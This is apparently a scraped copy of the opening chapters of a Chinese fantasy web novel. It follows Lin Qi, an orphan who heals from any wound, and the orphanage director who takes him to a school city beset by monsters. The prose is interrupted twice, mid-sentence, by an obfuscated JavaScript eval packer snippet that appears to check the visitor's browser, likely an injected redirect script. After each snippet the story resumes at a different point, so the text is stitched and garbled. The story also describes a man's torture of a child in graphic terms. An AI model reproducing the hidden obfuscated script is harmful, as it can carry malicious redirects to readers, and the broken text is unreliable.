《失忆后被怪物竹马盯上了》 1. 第 1 章 林栖又被弃养了。 他是福利院里最漂亮的孩子,总是第一眼就被领养家长选中,又总是在半年之内被退回来。 这一次,他是被绑着送回来的。 八月午后,烈日闷沉。 绿皮轿车直开进院,刹车粗哑刺耳。 中年男人踉跄下车,一面大声叫人,一面打开后厢。 铁皮晒得滚烫,男孩儿蜷在后车厢里,黑发浸透汗水,黏在苍白面颊。粗重绳索绕过后颈,紧紧捆住全身,蓝色校服像是被水泡过,颜色哑得发黑,帆布鞋上洇着几块锈色污迹。 一见人来,中年男人立即嘶声控诉:“他是怪物!” “你们不知道吗?他是怪物!” 见别人不敢走近,他抽出刀子,用力晃动以示安全,“你们别怕,过来,他跑不了。” “我把他抓起来了。” “捆得很结实,他跑不了。” 烈日下,刀刃反着刺目白光。 ——凄厉警笛呼啸穿过两扇铁门,警灯闪烁,红蓝二色交替照亮墙角绿苔。 临时审讯室里,男人倾身坐着,头发蓬乱,满眼血丝,磨出厚茧的手指交叠拧动,目光灼灼,嗓音干涩。 “警察先生,你们信我,他是怪物,不是人。” “我是反复确认过的,手指掰断还能恢复,切掉也能长好,这合理吗?” “你会做饭吗?我不会,家里只有水果刀,弄弄鸡鸭鱼虾还可以,切不动大的骨头。但罗教授会,我们住在一个小区,他听说我要借刀,特意问清楚了,给我送来一把斩骨刀,我那才知道,原来斩骨也有专用的刀。” “刀很好用,手脚的骨头一切就断,但身上还是有些困难。”他回忆着,拧住眉头,语气有些惭愧,“也可能是我方法不对,毕竟不会做饭,家务一向都是我太太在打理……” “你们能想象吗?断了的指头放在地上,会动,也不是自己动,就好像有什么东西拽着它动。扔出去也不行,还能回来,还能长好。还有血……” 他忽然按住桌子,眼中透出异样的光,“你是警察,肯定知道,动脉血,动脉血很厉害的!是会喷出来的!一不小心弄得到处都是……哎,到处都是……地上滑得站不住人,不过后来都回去了,血会顺着伤口往里钻……往里爬……” “这个怪物很厉害,很难杀,我甚至怀疑它根本就杀不死,不过你们是警察,应该有办法吧?” …… 隔壁房间,林栖已经换了衣服,坐在窗边铁架床上,怀里抱着一只洗到陈旧的白色枕头,双手拢在下方,隐约露出半截手腕。 房间像一只紧闭的玩具盒,透不进一丝风,朱红千纸鹤在缝衣线上穿成一串,在墙上投下静止的剪影。 男孩儿漂亮、安静、精致,很适合摆在玩具盒里。 许久,房门从外打开,空气流淌着,拂过鸦羽般的睫毛。 年轻警察一身干练制服,问道:“你是林栖对吗?” 林栖箍紧怀中枕头,看着他,点了点头,一双眼睛深黑澄净。 年轻警察心里一软,又斟酌了一遍措辞,“你是两个月前被领养的?赵教授平时对你好吗?” 林栖缓声道:“对我很好。” 问询持续了十多分钟。 根据林栖所说,养父虽然把他绑在后车厢里,但并没真的伤害过他。 警察已经提前了解情况,林栖今年十岁左右,出身不详。 福利院工作人员评价他漂亮、安静、省心,就是性格孤僻,不合群,和同龄人相处不来,和领养家长更相处不来。 问到以往受伤情况,医务室老师说林栖去年摔了膝盖,找她拿过几次药,这小孩儿洁癖,轻易不让人碰,总是自己上药。 手工老师说他喜欢木雕,手上经常有小伤口,总是贴蓝色创可贴。 其他人也说见过林栖身上淤青,可能被欺负过。 “赵教授真的没打过你吗?一次都没有?”年轻警察再次确认。 “没有,一次都没有。”林栖再次回答,“他说我是怪物,他很怕我。” 年轻警察若有所思。 林栖静了片刻,缓缓抬眸,“警察哥哥,你也觉得我是怪物么?” 年轻警察尴尬一笑,“哪有什么怪物?” 话虽如此,但那位教授赌咒发誓,只要弄伤林栖,检查伤口,就能证明他没说谎。 正常人当然不信会有怪物,但有那么几个瞬间,他也忍不住想,万一呢?遇到一个杀不死的怪物,他该怎么处理? “警察哥哥。” “嗯?” 鸦羽般的睫毛安静低垂,林栖从枕头背后抽出手来,先将一把美工剪刀放在床边,又朝警察露出手背。 皮肤上赫然划着两道伤口,交叉成十字形,边缘仍在往外渗血。 触目生疼,年轻警察吸了口气。 男孩儿声音很轻,“你把我锁在这里,明天再来看看。” 没有人相信真的会有怪物,但这天晚上,房门还是上了锁,每次有人进出,总伴随着清脆的开锁响动—— 咔、咔…… 余音萦绕整晚。 第二天下午,几名警察如约前来。 揭开纱布,伤口已经结痂,但形状细节都能对上,还是昨天那个。 警察给他重新上药,“疼吧?干嘛划这么深?” 林栖抿着嘴唇摇头。 上完药,警察拆开一盒创可贴,取两张交叉贴在纱布外面,又把剩下几张也留给林栖。 创可贴是浅蓝色的,上面印着小企鹅,比林栖平时用的那些可爱很多。 有了伤口作为实证,“怪物”一说当然不攻自破。 那位知名教授被送往精神病院,一路上仍不放弃辩解—— “我没病,我在大学做了二十多年教授,我知道自己在做什么,你们自己去试,拿刀,随便什么刀,剪刀也行,往他身上捅,随便捅哪里,眼睛也行,真的!你们试试,一试就知道了!” “我没病!我说的都是真的!你们才有病!你们都被骗了!” “他是怪物!” “抓住他!弄死他!他是怪物!!!” 人们唏嘘,一个看起来很体面的教授,怎么说疯就疯了呢?同时又感慨,还好,他只是疯了,不是真的做了那些事情。 那些轻描淡写的摧残和折磨,只是想想都令人作呕。 断手、断脚、破开肋骨…… 当一个成年男性用尽全力,以钝器击打一名十岁少年头部,没有人能幸免于难。 大概只有林栖可以。 他和别人不一样。 他可以受伤。 即使伤得粉碎,也能修复如初。 修复过程不受控制,只要别人稍微留意,就能发现他不正常。 如果不想暴露秘密,只能尽量避免受伤。 他一直都很小心,但一个月前,养父母一家带他出游,遇上地震,旅馆房梁垮塌,他身上多处骨折,伤得很重。 养父母将他送到医院,他知道骨折会在一天之内愈合,他无法解释,只能偷偷离开医院,可惜很快就被养父找到。 从惊喜到怀疑、从试探到惧怕,只需要几个瞬间。 养父瞒着养母,将他藏了起来。 之后的事情很混乱,林栖记不太清。 …… 深夜的福利院,空旷处能听到孩子的梦话声,夹杂着闷声啜泣。 林栖独自站在三楼走廊,揭开创可贴,按了按手背上的伤口。 受了伤的皮肤并不光滑,指腹可以清晰感觉到结痂的肌理。 有一点疼。 但和快速愈合时的激烈痛感不同,这种疼痛很温软,像是天气好的时候光脚踩在草地,痒痒的,让人有些犯困。 三天了,伤口还没愈合。 有记忆以来,这还是第一次。 他不知道这是怎么做到的,但知道是谁做的——在被警察询问之前,院长观沄来找过他。 这位院长只二十多岁,常穿白T恤配浅牛仔,像个没毕业的学生,身上又总是带着一点松墨香味。 观沄来找他时,手里拿着一盒水彩笔,最普通的那种,塑料盒上还贴着“爱心捐赠”的红色贴纸。 观沄让他选了一个颜色,然后在他手背上,勾了一幅简笔画。 浅蓝色的线条,画的是一扇门,上着锁,门框刚好覆盖整个手背。 观沄告诉他,门有许多作用,最基础的就是阻隔。 既能阻隔伤害,也能阻隔保护。 后来观沄又说了什么,他没听清,注意力都在自己手上。 他知道自己不正常。 从有记忆开始,身上就带着一层厚厚的“壳”,那是无数根细密红线缠绕在皮肤上呈现出的颜色,浓郁而致密的红。 而此时,那片浓灼的红色中心开了一扇门,仿佛拨开烈焰,透进空气。 门内,皮肤是干净的浅色。 正常人的颜色。 后来,蓝色笔迹洗去,但“门”的形状还在,他在门内划出伤口,伤口没有愈合,因此警察并没发现他是怪物。 林栖仰头去看门牌,“院长室”三个字边上贴着几张翘了边的贴纸。 房门紧闭,没人知道观沄哪天回来。 林栖已经等了三天。 他不知道自己还要再等多久,也不知道自己想等一个什么结果。 这是他第一次遇到“同类”。 其实也不是真的同类…… 有一次,院长帮他削铅笔,划伤了手,还是找他借的创可贴。 夜色越来越深,像是沉在海底。 每次呼吸,都像有气泡浮上水面。 林栖躲在白瓷花盆旁边,抱膝坐着,仰头看小虫绕着灯光转圈。 转角楼梯偶尔传来脚步声—— 厚胶靴是维修师傅。 牛皮鞋是值班保安。 细跟鞋是苏老师。 软棉拖是付阿姨…… 而院长总穿白色帆布鞋,鞋带绑紧时显得脚踝很瘦,上面穿了几颗卡通珠子,平时走路没有声音,但上楼时,珠子一晃,就有细碎的金属轻响。 林栖把他想象成猫,一只爪子上戴铃铛的白猫。 巡查老师已经从他面前走过几次,熄了壁灯。 林栖藏在阴影里,眼皮沉得抬不起来,心跳却拴在弦上,只要一点声响就被拨动。 临近午夜,隐隐又有脚步声响。 很远,很轻,像挂钟上的秒针在走。 林栖埋着额头,耳尖忽然一动。 木质楼梯发出空响。 鞋带有些松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林栖:“……” 他加了一些力道,食指紧按着纸边,同时多派出一根中指,轻轻转一个角度,与食指一起夹住纸边,想象着螃蟹钳子夹小鱼,一扥一扥地,把纸片向后拖。 开始时还顺利,但越拖就觉得对面力道越重,到只差一厘米时,纸片已经纹丝不动。 林栖:“……” 你给不给? 这又不是拔河。 林栖想着,又加了一点力道,把纸片往回拔。 这时就听观沄道:“再扯就碎了。” 林栖:“……” 自己到底在做什么?好幼稚。 这年纪的男孩子对幼稚十分敏感,林栖忽然就不想赢了,略一迟疑就抬起头来,但不看观沄,而是看向那张纸片。 拔什么拔。 号码背下来就行了。 号码…… ? 林栖一怔,几乎同时,观沄低笑一声。 林栖捏着纸片一端,把它翻过来,又翻回去。 没有,都没有,两面都没有字。 林栖终于看向观沄,一眼就瞧见了他挂在唇边的笑。 观沄把笑意往回收了收,正色道:“我还没来得及写。” 林栖:“?” “你回忆一下,我是不是刚说完那句话就把纸片递给你了?中间两秒钟都不到,我是怎么写的号码?” 林栖:“……” “所以我才打算把纸片拿回来,先写好了再给你,但是你不松手。”观沄唇边再次浮起笑意,“我用力,你也用力,于是我就想,喔,原来他要跟我玩拔河,那我就陪他玩一下吧。” 林栖看着观沄,眼睛微微睁大,似乎震惊于这个成年人的无聊和幼稚。 观沄笑着看他,“起来吗?再蹲腿就麻了。” 其实已经麻了,但林栖不起。 老式挂钟秒针滴答,观沄朝它看了一眼,“好吧,实话是,号码没用,我要去的地方很远。” 林栖仰头看他。 观沄:“今晚就走。” 意思是,如果有话要说,现在就是最后的时间了,这次不说,下次再见不知道要等多久。 林栖迟疑着,从躲藏处起身,低头整理衣服上的褶皱,过程中几次看向观沄,显然有话要说,但又总是移开视线。 挂钟金属指针干涩转动,像在艰难推着磨盘,秒针推完一圈,分针发出吱呀一声轻叹。 “院长。”林栖忽然开口。 “你能领养我吗?” 他说话时,手在背后紧紧拽着衣角,似乎这样就能展平情绪,效果却不太理想。 观沄看着他,顿了片刻,“你知道,我不符合领养条件。” 林栖垂着视线。 他知道。 正因为知道,他才敢开口。 被拒绝就老实了,省得一直惦记。 “不过……”观沄忽然道,“这里不符合条件,不代表其它地方不行。” 林栖一怔,“哪里?” “一个真的有怪物的地方。” 2. 第 2 章 观沄说要带林栖去别的地方。 林栖还没想好,但行李已经收拾好了,口袋里塞满了各式各样的创可贴。 他在拇指上贴了一张。 脑子里来回滚着那句“一个真的有怪物的地方”。 “真的有怪物”对应“假的有怪物”,而“假的有怪物”是指“不符合条件”的“这里”,“这里”没有怪物,所以…… 院长想说,他不是怪物。 这是在安慰他。 所以那个有怪物的地方不一定真的存在。 院长也不是真的要领养他。 不是真的也没关系。 但很快,他就发现自己猜得有些不对。 那天晚上,走廊上多了一扇纯黑的门。 门内,透明星空交叠着斑斓的颜色,像没混色的调色盘——茜草红、水晶紫、松石蓝……明艳的色块从四面八方延伸到脚下,铺成绮丽的路,影子是碳黑的色块,剪在脚底。 色块缓慢流动,凝固成涡旋的海浪,堆叠成山…… 脚步落下,没有声音,也没有重量…… 而门外是一片雾蒙蒙的绯红。 月亮是红色的。 月光下,周围树林浓得发黑,阴影像是晕开大滩墨渍。 忽然一道黑影闪过,动作快到看不清。黑暗中一片窸窣声响,夹杂着牙齿碰撞的咯咯声,让人头皮发麻。 林栖向后退了半步,脚下发出树枝折断的脆响。 下一秒,黑影朝他直扑过来,他本能躲开,但第二道黑影速度更快,他抬手去挡,只觉得手臂一沉,袖子已经被抓开了一条裂口。 这次距离够近,借着绯色月光,他看清了那道影子——它像一只长了毛的捕兽夹,裂开的大嘴占了整个脑袋,嘴里满是尖牙,脚上也带着鱼钩似的利爪。 树林里发出一阵咯咯响动,林栖看不清那里有什么,但能感觉到视线。数不清的视线像一张大网扑来,密不透风。 空气静了一瞬,紧接着黑影如箭矢一样飞扑过来。 几乎同时,身后响起一道沉稳的脚步声,熟悉的嗓音朝他道:“别怕,站着别动。” 林栖身体有些僵硬,缓缓转头,就见高挑人影踏出那道黑色大门,回手一收,那道门就像一片薄布,被他抓在手中。 手腕轻轻一抖,阴影下方传出一阵簌簌声响,上百只千纸鹤飞散而出。 纸鹤一尘不染,在浓沉夜色之中白得刺目。 那些黑影张着大嘴冲撞上来,仅有巴掌大的千纸鹤在空中舒展成薄薄一片,迎风而涨,轻轻一旋,就将一只黑影捕获,无声落地。 林栖眨了眨眼,一瞬间想起了包饺子和煮饺子的画面。 总觉得哪里不对。 高挑人影俯身检查他的衣袖,歉然开口:“伤到了吗?怪我,没想到这个地方也有怪物。” 林栖一脸茫然,脑子里同时挤着几个念头—— 原来真的有怪物…… 抓怪物都像包饺子吗? ……你是哪位? 眼前这人银发紫瞳,腕上绕着一只金色怀表,手臂浮着一串蓝色数字,手里那片黑布绘满复杂图案——飞禽走兽、四时草木、日月星辰…… 看起来很没有真实感,像是不小心打开童话书,从里面跑出来了一张插图。 但白T恤、浅牛仔和帆布鞋又很眼熟。 林栖迟疑开口:“院长?” “嗯?” 观沄看着他,片刻才反应过来,抬手摸了一下头发,“看不习惯?那我明天就染回去。” 染……染回去? “先走吧,这附近不太安全。” 观沄从黑布上的图案里选了一只安康鱼,林栖眼睁睁看着它从一只平面的鱼,变成了一条立体的鱼,不但像吹气球一样越涨越大,背上还长出了几张座椅。 坐好之后,他又看见观沄把那片“黑布”捏成了一颗粘糕似的团子。 他恍惚想着,自己这个怪物好像也不是那么奇怪…… 路上,观沄告诉他,可以把这里理解成另外一个维度,或者简单当成另外一个世界。 目的地在学城外的松林旁边,是一个没有几户人的小镇,松林间的半山坡上,建着一座白墙红顶的小屋。 夜晚的松林散发出一股清凉木香。 林栖跟在观沄身后走上台阶,刚到一半,就见坡上松枝一晃,一只粉红色的松鼠跃上枝头,手里还抓着一枚金色哨子。 林栖:“?” 观沄抬眸看了一眼,像是忽然想起什么,“对了……” 话刚起头,就听一声哨音响彻松林。 紧接着,上百颗雪球劈头盖脸砸了下来。 观沄的说话声变成了叹气,手中墨团瞬间展开成一柄雨伞。 漆黑的伞面撞上洁白的雪团,震出一阵砰砰鼓点。 林栖慢半拍地仰起头,看到四周腾起一片白雾。 低头看,脚边滚了一堆被砸扁的雪球。 可现在是夏天。 为什么会有雪球? 他正想着,头顶又是一声哨响,新一轮的攻击紧随而至。 一堆松果球落地炸开,弹出一条条虫子。 蚯蚓和毛虫满地乱爬。 林栖微微睁大眼睛,看向观沄。 观沄表情复杂地看他一眼,“待会儿再跟你解释。” 来到小院门外,他将伞柄轻轻向上一托,雨伞飞入院内,片刻传来门栓落地声响,他一手开门,一手接住雨伞,轻轻一拢收起。 院子里站着一高一矮两道人影—— 一个六七岁的男孩儿和一个瘦削青年,男孩儿穿一身奶蓝色的睡衣,头发蓬乱,脸蛋泛红,像刚从被窝里钻出来的,而瘦高青年穿着一身格子西装,只有半边像人。 另外半边说不清是什么,裸露的皮肤上覆满狰狞凸起的鳞片,暗红色,像是结着血痂,从耳后向上蔓延,直扎进头发里。 他右手戴着手套,左手长着尖锐的指甲,右脚穿一只老式皮鞋,左脚裸露在外,趾骨凸起,是一只变形的兽爪。 观沄道:“这是林鹭和他的管家卓轻。” 名叫林鹭的男孩儿立刻叉腰瞪向观沄:“这里不欢迎你。” 观沄一脸习以为常,“嗯,但这好像也是我家?” “是你家就得欢迎你吗?”林鹭眼睛朝林栖一斜,不客气道,“你谁?” 观沄似乎有些头疼,朝林栖道,“他没恶意,只是……” 林鹭立刻反驳:“我满满都是恶意。” 说罢抱起手臂瞪向林栖。 林栖朝观沄看了一眼,说了自己名字。 林鹭当即撇了下嘴,断言:“姓林的没有一个好人。” 话音刚落,旁边那位管家就温声开口:“您自己也姓林。” “那我改姓。”林鹭立刻反驳。 “改了也是林家血脉。” “我去抽血。” “抽不完没用,抽完了会死。” 林栖:“……” 你们好有个性。 林鹭抱起一双短短的胳膊,又朝林栖看了过来,“姓观的是不是让你别恨林叙?别听,他说什么你都别听。” 说完又看观沄,“就恨,怎么了?我就恨他,恨死了,恨不得杀了他!” 管家平静道:“已经死了。” 林鹭还不解气,“光死就行吗?这种大反派,就该死无全尸,挫骨扬灰!” 管家:“是烧死的,也算扬了。” 林鹭张了张嘴,卡壳了,一时想不出来还有什么比挫骨扬灰更恶毒的咒骂,瞪着观沄憋了几秒,又看向林栖,好像跟他有仇似的,一张小脸迅速涨得发红,头顶冒烟道:“你怎么不说话?大反派是不是该死?” 林栖:“……是吧。” 也不知道这话哪里不对,林鹭鼻子一皱,扭头跑了。 院中大橡树上有个树屋,男孩儿抓着梯子,蹭蹭爬了上去。 等他的身影消失在树冠上,观沄指了指正前方的红顶房子,对林栖道:“我们住在这边,跟他……嗯,互不打扰。” 推开房门,就能闻到一股草木清香,桌椅板凳都是原木做的,像是那种绘本上才会有的森林小屋。 “饿了没?”观沄径直走到厨房,开始翻找食物。 “还好。”林栖揉了揉拇指上的创可贴,因为沾到雪水,边缘已经有些翘了。 观沄找到一瓶果汁,好像很怕林栖渴死一样,给他倒了满满一杯。 林栖低头尝了一口,浓郁的甜味在口腔炸开,激得他头皮一麻,低着头,咂了咂嘴,隔了片刻才又捧起杯子,抿着嘴唇沾了一下。 “不好喝吗?”观沄问。 “还好……”林栖说着,又把脸朝杯子埋了下去。 还好就是不好,观沄知道,眼前这位小朋友很会伪装。 一年前,他在福利院找到林栖时,见他总是一个人坐在角落,跟谁也不亲近。 一开始他也以为,这孩子就像别人说得那样,孤僻冷漠,养不熟、捂不热。 后来才发现,他被骗了。 这是一只小狐狸,一直小心翼翼藏着他的狐狸尾巴。 冷漠是假的,洁癖是装的,伤口是伪造的。 而伪造的伤口只能骗过眼睛,无法骗过触觉,所以他必须洁癖,必须坚持自己处理伤口,也必须孤僻,必须远离人群。 小狐狸一直藏得很好,直到为了救人,不小心露出了他的尾巴。 在那场地震里,他救了教授家的亲生女儿。 小姑娘才四五岁,什么都不知道,但教授知道。 知道,却依然把他当成怪物,恨不得让他粉身碎骨。 “睡前喝果汁会长蛀牙。”观沄说着,把杯子从林栖手里抽了出来,转身出门,几分钟后带了一盒牛奶回来,倒进玻璃杯里给他。 牛奶是从林鹭那边抢的。 这次小狐狸没再表演喝空气,不声不响地喝了半杯。 喝完之后,林栖朝他看了过来,深黑澄澈的眼中透着一股认真,一看就是有话要说。 观沄抬手“打断施法”,指着墙上的挂钟道:“已经十一点了,小朋友该睡觉了。” 林栖看着他,片刻,轻轻“哦”了一声。 收拾房间,准备衣物,洗漱睡觉……林栖躺下时,已经十二点了。 观沄在他床头放了一只半球形的玻璃闹钟,他睁大眼睛,看到里面排队游过十二只鸭子。 后来,十二只鸭子游走了十一只,只剩一只,在池塘里绕着圈子打转。 一点了。 可林栖还没睡着。 他平躺着,视线漫无目的飘了一会儿,从窗边绕过天花板,落向房门。 透过门缝,能看到客厅里的灯光。 他又熬了一会儿,终于轻声下床,走向客厅。 书房里亮着灯。 观沄还没睡。 林栖只是探出脑袋看了一眼,就被观沄发现了。 观沄合上手中的素描本,转身朝他招了招手。 “睡不着么?” 林栖点头。 “有问题要问?” 林栖又点头。 观沄竖起一根食指,“那就问吧,但只能一个。” 林栖走近过来,一双黑漉漉的眼睛看着他,“院长觉得,我问什么问题才能睡着?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但你在这里赖着不走。 观沄拿他没办法,从书架上找了本书,“这是学城简史,比我说的详细很多,你看完就都懂了。” 林栖点点头,捧着书翻了几页,表情逐渐茫然。 这里的字他一个也不认识。 这怎么看? 观沄早知道他看不懂,故意道:“还要么?类似的还有很多。” 林栖一双澄澈的眼睛看着他,“还要。” 观沄没办法,只得把相关书籍都拿下来,摞在一起厚厚一叠,林栖抱着有些吃力,却还是看着他问:“只有这么多吗?” 见他不答,又垂眸道:“有点少。” 一副不达目的不睡觉的样子,这哪是什么小狐狸,明明是一头倔驴。 两人对峙片刻,最后还是观沄认输,又从私藏的书柜里取出几本外面见不到的。 “这里一半都是古书,和现代书不是一种语言体系,你要看懂它们稍微有些难度。” 林栖听他语气,已经知道这个“稍微”有多微了。 他像一颗放冷了的年糕,脸上表情逐渐僵硬,却还在问:“还有吗?” 观沄无奈,将薄薄一本手札在他眼前一晃,“这是最后一本了,不骗你,其它都是不相关的,再给你拿本字典,回去边查边看,保证比安眠药还有用。” 和林家有关的藏书确实都在这儿了。 他想着,反正小狐狸现在也看不懂,等过一两年,他适应了这边的生活,刚好能看懂一部分现代书。 而古语难学,要想全部看懂,至少还要再过十年。 到那时候,小狐狸长大了,对很多事情,也会有他自己的判断。 林栖抱着一座书山回屋,就这样一夜没睡。 不是因为心里有事,也不是因为字典难用,而是因为…… 他能看懂。 虽然不懂现代语,但古书上的文字他却几乎都能看懂。 夜色燃尽时,林栖站在窗边,神色有些恍惚。 风声穿过松林,天边已经露白,眼前却像有黑纱遮盖下来……火光燎着暗色边缘,烧成明亮一线。 黑雾耗尽氧气,窒息感中,他仿佛听到有脚步声落在身后。 转身却没有人。 窗外天色渐亮,松间一阵喳喳鸟鸣,炊烟升起,笼着远处的繁华学城。 他低下头,看着手边的两本书。 第一本书上说了学城的来历,这里原本名叫荒丘,是一片废品山,后来有人突发奇想,要在这里建一所学校,专收那些没人要的学生。 一群年轻人聚在这里,一边吵吵闹闹,一边携手建设……当他们亲手移平荒丘,在空地放下第一块砖,学城的历史就此开始。 招来的学生都是流浪孤儿,曾经无家可归、无所希冀,后来,学校成了他们的家,给了他们希望和勇气。 从废墟到校园,一幅很美好的画卷,如果时间停在这里,就是童话结局。 可惜还有后续。 在另外一本书上,一手建立起学城的这个人,又亲手将它毁了。 原来一切美好都是假象,学校是他一手布置好的陷阱,学生是他案板上的猎物。他仗着年轻人的信任和敬仰,欺骗他们、囚禁他们,将他们从正常人摧残为怪物,又在事情败露之后疯狂掩饰,最后一把火烧了学城。 有人说,他疯了。 也有人说,他原本就是怪物,只是伪造了一张人皮。 两本书的最后,各自配着一张插图—— 第一张,年轻人迎着晨光,坐在废品堆上,笑着畅想未来。 第二张,人影背对火海,独自困于高塔,怨毒诅咒一切。 很难想象,两张图上居然都是林叙。 3. 第 3 章 林栖是被一阵打闹声“吵醒”的。 院墙外,几个孩子爬在树上,正拿着弹弓,背着石子,朝树屋发动突袭。 每当有人打中窗户,树下就有一道童声播报:“打中坏蛋啦!” 连续几次之后,播报变成了:“坏蛋快死啦!” 片刻,树屋窗户发出吱呀一声,一只望远镜从缝里探了出来。 林鹭开始反击,上百颗松果球朝对面砸了过去。 他本来还准备了更多“弹药”,可惜都在昨晚浪费掉了。 负责放哨的孩子大喊:“撤退撤退!掩护掩护!” 一群孩子出溜下地,拿准备好的锅碗瓢盆罩住脑袋,一边躲一边反击,还不忘朝树屋嚷嚷: “姓林的都是大坏蛋!” “滚出去!大坏蛋!” “姓林的!大坏蛋!姓林的!死得惨!” 林栖远远听着,觉得自己好像也被骂进去了。 他想起书上对林叙的那些评价,忽然就有了死灰复燃般的真实感。 他其实很想知道,自己的那位祖先为什么会突然变成坏人。 以及,正常人要怎么变成怪物? “砰”的一声,树屋窗户大开。 林鹭手里举着一把大号弹弓,气势汹汹,“就坏!打死你们!姓林怎么了?我就愿意姓林!” 林栖:“?” 你昨天好像不是这么说的。 石子打出去,激起一片骂声,吵架这种事总是谁声大谁有理,而且松果球已经用完了,林鹭只靠一把弹弓明显威慑不够。 几个大一点的孩子爬回树上,拿着弹弓,又有点跃跃欲试。 就在这时,观沄推门走了出来,林栖看到他头发已经变回黑色,配上白T恤和浅牛仔,依然像个刚毕业的学生。 观沄只是站在那里,什么都没做,几个孩子却“哇”的一声下树跑了,似乎特别怕他。 院子恢复安静,能听到风声鸟鸣。 观沄朝树屋挥了挥手,“下来吃早饭吗?” 林鹭砰的一声关了窗户,脆嫩的嗓音闷闷传出,“不吃!反正我是坏蛋,饿死算了!” 林栖:“……” 观沄有点无奈,出门买了一堆吃的回来,包括面包牛奶、各种水果、各色零食,他把东西平均分成两份,一份放在大橡树下,一份带给林栖。 吃饭时,林栖一直没说话,他在思考一个问题—— 看不懂现代语,但能看懂古语,他是个什么品种的怪物? 要不要告诉院长? 在来之前,院长特意说他不是怪物,结果折腾半天,反而发现他真的是个怪物,院长会怎么想? 林栖还没想出答案,就听到一阵敲门声砰砰响起。 力道大得仿佛在砍椰子。 同一时间,屋外老橡树上。 林鹭正扒着窗框,举着弹弓,眯眼瞄准。 院子里一共来了四只“报喜鸟”,一个拿烟花,一个拉彩带,一个拎箱子,一个捧蛋糕。 “报喜鸟”是学城公务人员,代表学城送信,送的都是喜讯,又穿一身红色制服,所以才有这个绰号。 林鹭把几只鸟挨个瞄了一遍,又瞄蛋糕,歪着半边脸问:“姓林的十二岁了?” “看样子是。”管家回他。 “看样子?我看他顶多六岁。”林鹭耸着鼻子出气,“我是不会叫他哥的,下次你就说我十三岁。” “他也可能是你叔叔。”管家淡定陈述事实。 林鹭像被踩了尾巴,顿时发出“啊”的一声,用力扯了一下皮筋,转头朝他瞄准。 管家用他的兽爪指了一下窗外,“看戏。” 观沄打开房门,两个报喜鸟往前一凑,手里的小烟花和彩带同时炸开。 接着他们齐声道贺:“生日快乐!恭祝入选!” 观沄打量着门外四人,轻轻蹙了下眉。 学城是以白塔学院为核心建立起的城市,选拔学生是一项极重要的日常工作。 符合条件的学生会被白塔标记。 而报喜鸟负责找到这些学生,并当面送达通知。 白塔标记学生,标准随时代不同,近十年来,符合要求的孩子越来越少,在外城区,这个比例从未超过百分之一。 报喜鸟每次到这里,总能体会一把天神下凡般的礼遇。 有些家长太过激动,会带着孩子一起朝他们磕头,一直磕到头破血流才停,仿佛这样才够诚意。 在来的路上,他们还在打赌,今天这家人到底会给他们磕几个头,却没想到,开门的这个人没激动,没落泪,更没跪下磕头,甚至连笑脸都没给他们一个。 实在是不太正常。 报喜鸟领队只当这人还没睡醒,把蛋糕又往上托了托,大声表明来意,“恭喜啊!你家孩子刚被白塔选中了!而且现在时机正好,马上就能参加入学考试!” 他在这边努力烘托气氛,对方却只是平静地朝他扫了一眼,道:“身份证明拿来我看。” 身份……证明?身份证明? 领队愣了好一会儿,才反应过来这四个字的意思,他们出来送信,什么时候要过身份证明?! 他随便找个借口,“今天出门太急,应该是忘了带。” “哦,是吗,那你们可以走了。” “……?” 空气明显静了一瞬。 “哎等等。”队长一手撑在门口,“还要什么身份证明?白塔标记就是最好的证明,你是不是刚睡醒,还没看见?” 观沄微微一笑,“所以白塔标记在哪儿?” 队长伸长手臂,越过观沄,直直往客厅里指,“就在你家孩子手上,不信你自己看看。” “嗯,在他手上,又不在你手上,为什么可以证明你的身份?” “这还需要证明吗?”队长简直觉得对方有病。谁不知道他们报喜鸟是干嘛的? 观沄只是看着他,不说话,仿佛连回答这个问题都是侮辱智商。 于是空气又凝固了。 屋里,林栖低头,看了看自己的手。 手背如常,但手心里却多了一枚圆形印记,它像一个图章,蓝底银辉,线条勾勒出星空下的高塔。 印记在覆满红线的皮肤上不太明显,所以他之前没有注意。 什么时候盖上去的? 门外,报喜鸟还在轮番劝告。 林栖听到其中一个人说:“外城区是什么环境,上城区又是什么环境?我们早点弄完,就能早点把孩子领走,你们不要觉得拿到印记就安全了,上个月就有一个孩子,下城区的,入选之后还是被侵蚀了,哭都来不及……” 林栖捕捉到一个关键词,领走? 他看向观沄,或许观沄也捕捉到了同一个关键词,没再跟报喜鸟废话,直接关了房门。 报喜鸟们很不服气,又在外面敲着房门说了半天才走。 等屋里终于安静下来,观沄看了看林栖手心里的印记,斟酌片刻之后开口:“他们说的你都听到了?听得懂吗?” 林栖点头。 他们现在住的地方属于学城,学城里有学校,正在挑选学生,这个印记是被选中的标志。 “还有两个常识他们没说。”观沄道,“筛选标准有两个,首先要求‘绝对干净’,身上不能出现任何一点‘侵蚀’痕迹。其次,白塔对入学年龄也有要求,你数了蛋糕上的蜡烛么?” 林栖知道,管家身上的那些鳞片就是“侵蚀”。 他摇了摇头。 今天不是他的生日,那个蛋糕一定不是给他的,所以他也没仔细看。 “是十二根。”观沄道,“因为学城规定的筛选年龄是十二周岁。” 林栖好像明白了。 他今年大约十岁,可能是九岁半或十岁半,甚至十一岁,但肯定不是十二。 观沄比林栖更清楚这点,林栖以前待过三家福利院,他去查过前两家的档案,按第一家福利院的记录,林栖是在三岁左右从火灾现场救回来的。 登记人员凭经验判断他当时大概三岁,虽然不准,但十岁和十二岁相差两年,放到当时就是三岁和五岁的区别,不可能会搞错。 现在白塔弄错了林栖的年龄。 可白塔从不出错。 观沄只能想到一种解释,有人猜到了林栖的身份,所以想让他提前入学。 人们对林家存有偏见,除了因为林家出过一个大反派外,还因为觉得他们很不吉利。 在过去的一百年里,这个曾经的世家大族零星出过一些名人,但出了更多怪物。 林家人更容易变成怪物。 人们相信,这是一种 